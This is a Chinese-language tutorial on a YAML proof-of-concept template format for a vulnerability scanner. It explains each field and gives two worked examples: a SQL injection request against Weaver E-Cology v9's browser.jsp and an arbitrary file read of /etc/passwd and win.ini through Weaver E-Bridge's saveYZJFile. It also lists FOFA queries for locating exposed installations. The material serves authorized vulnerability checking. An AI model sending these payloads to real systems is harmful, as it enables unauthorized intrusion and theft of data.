0x00 前言

免责声明

文章仅用作网络安全人员对自己网站、服务器等进行自查检测,不可用于其他用途,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作

本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

0x01 Poc完整模板

product: ''
vName: ''
type: ''
vID: [ ]
level: 0
vDesc: ''
version: ''
note: ''
search: { }
protocol: http
link: ''
fix:
  - 修复方法
model: ''
logic: and
exploit:
  - exp:
      method: get
      follow: false
      path: ''
      header: { }
      cookie: ''
      json: { }
      file: { }
      data: ''
      dataJson: { }
    verify:
      path: ''
      logic: and
      check:
        - status: 200
          body:
            value: [ ]
            logic: ''
          nbody:
            value: [ ]
            logic: ''
          model:
            value: [ ]
            logic: ''
          regex:
            value: [ ]
            logic: ''
          header:
            value: [ ]
            logic: ''
          length:
            check: ==
            num: 0
          time:
            check: ==
            num: 0

POC解析和使用

product

  • 产品名称:通达OA、用友NC Cloud、泛微E-Office、...

  • 值:string

product: 泛微E-Cology

vName

  • 漏洞名称:xxxxSQL注入

  • 值:string

vName: 泛微E-Cology v9 browser.jsp 存在SQL注入

type

  • 漏洞类型:SQL注入、文件上传、反序列化、命令执行、外部实体注入、目录遍历、访问控制、信息泄露、...

  • 值:string

type: SQL注入

vID

  • 漏洞ID:列表类型,一行一个,CVE-xxx-xx、CNVD-xxx-xx、QVD-xxx-xx

  • 值:list

vID:
  - CNVD-2023-12632
  - QVD-2023-5012

level

  • 漏洞等级:1.低危、2.中危、3.高危

  • 值:int

level: 3

vDesc

  • 漏洞描述:xxx漏洞

  • 值:string

vDesc: 由于泛微e-cology9中对用户前台输入的数据未做校验,可以通过构造恶意的数据包导致SQL注入漏洞,进一步获取敏感数据。

version

  • 影响版本:xxx 0.1、xxx 0.2

  • 值:string

version: 泛微e-cology V9<10.56

note

  • 备注/笔记:需手动请求xxx验证

  • 值:string

note: ''
  • 搜索资产:FOFA、Hunter、Quake、ZoomEye、...

  • 值:dict

search:
  FOFA: app="泛微-协同商务系统"

protocol

  • 漏洞协议:目前只能使用 http

  • 值:string

protocol: http
  • 参考链接:http(s)://xxx.xx

  • 值:string

link: https://blog.csdn.net/qq_50854662/article/details/129992329

fix

  • 修复方案:列表形式,一行一条

  • 值:list

fix:
  - 官方修复方案:https://www.weaver.com.cn/cs/securityDownload.asp

model

  • 加载模块:目前使用难度高,暂不开放

  • 值:string

model: ''

logic

  • 判断逻辑:针对以下主要检测方法的,当主要检测方法支持添加多个结构时,程序会根据logic的值判断是否继续执行或者漏洞是否验证成功,可选值(and/or)

  • 值:string

logic: and

exploit

  • 漏洞检测方法:值为一个列表,如果有多个检测结构则会依次进行检测

  • 值:list

exploit:
  - exp:
      ...

exp

  • 漏洞请求:请求配置和请求值

  • 值:dict

method: get
# 请求方法:post/get
follow: false
# 是否跟随跳转:true/false
path: ''
# 请求路径,不填写时默认请求/
header:
  Content-Type: application/x-www-form-urlencoded
# 请求头配置:dict类型,根据yaml格式填写
cookie: ''
# 请求Cookie,配置Cookie值,在Header中和这里直接填写都可以
json: { }
# application/json 的请求值,支持两种填写格式
# 格式1
# json: { "xx": "xx" }
# 格式2
# json:
#   xx: xx
file:
  myFile:
    - aa.php
    - <?php phpinfo() ?>
    - text/html
# multipart/form-data 的请求值,格式参考 xxx:['文件名','内容','文件类型']
data: 'ab=xx&cd=xx'
# application/x-www-urlencoded 的请求值
dataJson: 
  ab: xx
  cd: xx
# application/x-www-urlencoded 的请求值,以json格式编写请求值
# 当存在file值时,dataJson为file中的附加值

verify

  • 漏洞验证:验证方法

  • 值:dict

path: ''
# 验证请求,填写值时会请求指定路径后进行漏洞验证
logic: and
# 判断逻辑,当为and时需要check的判断列表都匹配
check:
check
  • 漏洞验证方法

  • 值:list

  • logic:check中所有的logic都为判断逻辑,判断多个值的逻辑

check:
  - status: 200
  • 验证响应码,只能指定固定值

check:
  - body:
      value: 
        - xx
          xx
      logic: 'and'
  • 匹配响应体中是否存在xx字符串

check:
  - nbody:
      value: 
        - xx
          xx
      logic: 'and'
  • 匹配响应体中是否不存在xx字符串,logic作用查看check说明处

check:
  regex:
    value:
      - xx
    logic: 'and'
  • 使用正则表达式匹配响应体中是否匹配到值,logic作用查看check说明处

check:
  header:
    value: 
      - text/html
        uid=
    logic: 'and'
  • 匹配响应头中是否存在xx字符串,不需要完整匹配,只要text/html; charset=utf-8中包含text/html就为真,logic作用查看check说明处

check:
  length:
    check: ==
    num: 0
  • 判断响应字节

  • check用来判断num值的方法,值有 >=<===!= 可选

check:
  time:
    check: ==
    num: 0
  • 判断响应时长

  • check用来判断num值的方法,值有 >=<===!= 可选

0x02 poc示例

简单请求

product: 泛微E-Cology
vName: 泛微E-Cology v9 browser.jsp 存在SQL注入
type: SQL注入
vID:
  - CNVD-2023-12632
  - QVD-2023-5012
level: 3
vDesc: 由于泛微e-cology9中对用户前台输入的数据未做校验,可以通过构造恶意的数据包导致SQL注入漏洞,进一步获取敏感数据。
version: 泛微e-cology V9<10.56
note: ''
search:
  FOFA: app="泛微-协同商务系统"
protocol: http
link: https://blog.csdn.net/qq_50854662/article/details/129992329
fix:
  - 官方修复方案:https://www.weaver.com.cn/cs/securityDownload.asp
model: ''
logic: and
exploit:
  - exp:
      method: post
      follow: false
      path: /mobile/plugin/browser.jsp
      data: isDis=1&browserTypeId=269&keyword=a%252527%252520union%252520select%2525201%25252C%252527%252527%25252B%252528SELECT%252520MD5%252528123456%252529%252529%25252B%252527
    verify:
      path: ''
      logic: and
      check:
        - status: 200
          body:
            value:
              - e10adc3949ba59abbe56e057f20f883e
            logic: and
  1. 一次post请求

  2. 判断响应码和响应体包含字符串

复杂请求判断

product: 泛微 E-Bridge
vName: 泛微E-Bridge saveYZJFile 任意文件读取-windows
type: 文件读取
vID: [ ]
level: 3
vDesc: 泛微云桥e-Bridge存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。
version: ''
note: 拼接上面获得的id号,读取文件/file/fileNoLogin/{id}
search:
  FOFA: app="泛微云桥e-Bridge"
protocol: http
link: https://www.cnblogs.com/pursue-security/p/17775878.html
fix: [ ]
model: ''
logic: or
exploit:
  - exp:
      method: get
      follow: false
      path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt
    verify:
      path: ''
      logic: and
      check:
        - status: 200
          body:
            value:
              - filepath
              - filesize
            logic: and
  - exp:
      method: get
      follow: false
      path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
    verify:
      path: ''
      logic: and
      check:
        - status: 200
          body:
            value:
              - filepath
              - filesize
            logic: and
  1. 进行了两次get请求

  2. 判断第一个请求漏洞是否验证成功或者第二个是否成功

  3. 判断响应体中是否同时包含filepathfilesize